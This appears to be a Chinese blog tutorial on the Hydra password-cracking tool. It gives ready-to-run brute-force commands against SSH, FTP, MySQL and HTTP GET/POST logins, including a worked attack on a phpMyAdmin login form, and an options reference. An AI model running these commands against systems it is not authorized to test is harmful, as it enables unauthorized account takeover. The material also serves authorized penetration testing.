当前位置: 首页 > article >正文

hydra破解密码

hydra九头蛇是常用的密码破解工具

1、破解centos ssh密码

hydra -l root -P password.txt ssh://192.168.1.107:2222
hydra -l root -P password.txt -s 2222 192.168.1.107 ssh

2、破解ftp

hydra  -l allen -P e:\aa.txt ftp://127.0.0.1
hydra  -l allen -P e:\aa.txt ftp://127.0.0.1:21
hydra  -l allen -P e:\aa.txt -s 21 127.0.0.1 ftp

3、破解mysql(我没有破解成功,但是我用metasploit破解成功了)

hydra -l root -P password.txt -s 3306 192.168.1.107 mysql
hydra -l root -P password.txt  mysql://192.168.1.107:3306

4、http-get破解

hydra -l admin -P passwords.txt http-get://example.com

5、http-post破解

# 先找到post提交用的登录用户名和密码表单一般是name="xxx"
curl -s http://192.168.1.105/phpMyAdmin/index.php|grep --color "name"
--------------------------------
 <input type="text" name="pma_username" id="input_username" value="" size="24" class="textfield"/>
 <input type="password" name="pma_password" id="input_password" value="" size="24" class="textfield" />


# 再执行命令(该网站burpsuite没有破解成功,但是hydra破解成功了)
hydra -l root -P password.txt 192.168.1.105  http-post-form "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^:error"
hydra -L username.txt -P password.txt 192.168.1.105  http-post-form "/phpMyAdmin/index.php:pma_username=^USER^&pma_password=^PASS^:error"
----------------
-L 指定用户,它会一个用户和一堆密码进行比对,然后再用第2个用户和一堆密码进行比对,一直比对到最后一个用户
http-post-from表示post请求方式
/phpMyAdmin/index.php是请求的url页面
pma_username=^USER^ 前面是查到表单登录用户的值  ^USER^是固定写法
error:   是固定写法一定要这样写否则会出问题(已验证)






帮助

hydra [options] target [protocol] 
-l login:小写,指定用户名进行破解。
-L file:大写,指定用户的用户名字典。
-p pass:小写,用于指定密码破解,很少使用,一般采用密码字典。
-P file:大写,用于指定密码字典。
-C:使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-e ns:额外的选项,n:空密码试探;s:使用指定账户和密码试探。
-o file:指定结果输出到文件。
-s port:小写,可通过此参数指定非默认端口。
-t tasks:指定并发任务数,默认为16。
-vV:显示详细过程。


http://www.kler.cn/a/510742.html

相关文章:

  • Python 正则表达式
  • tui-editor报错
  • LDD3学习8--PCI/PCIE驱动(TODO)
  • 搭建一个基于Spring Boot的书籍学习平台
  • postgres数据库中_varchar的数组存储方法如何查找
  • [计算机网络]一. 计算机网络概论第一部分
  • USB3020任意波形发生器4路16位同步模拟量输出卡1MS/s频率 阿尔泰科技
  • FPGA 时钟功能
  • 到底应不应该使用@Builder
  • 【Linux系统编程】—— 虚拟内存与进程地址空间的管理:操作系统如何实现内存保护与高效分配
  • 算法日记6.StarryCoding P52:我们都需要0(异或)
  • Hugging Face功能介绍,及在线体验文生图模型Flux
  • 202509读书笔记|《飞花令·山》——两岸猿声啼不住,轻舟已过万重山
  • Solidity04 Solidity值类型
  • LLMs之Dataset:中文互联网基础语料2.0的简介、下载和使用方法、案例应用之详细攻略
  • 【2024年华为OD机试】 (B卷,100分)- 字符串分割(Java JS PythonC/C++)
  • 【服务器】Ubuntu22.04配置静态ip
  • 【论文阅读】End-to-End Adversarial-Attention Network for Multi-Modal Clustering
  • 第13章:Python TDD完善货币加法运算(二)
  • 【MyDB】3-DataManager数据管理 之 4-数据页缓存
  • 综述:大语言模型在机器人导航中的最新进展!
  • 【机器学习】机器学习引领数学难题攻克:迈向未知数学领域的新突破
  • YOLOv9改进,YOLOv9检测头融合,适合目标检测、分割任务
  • 第6章:Python TDD实例变量私有化探索
  • 推荐一个开源的轻量级任务调度器!TaskScheduler!
  • 基于单片机的智能家居控制系统设计及应用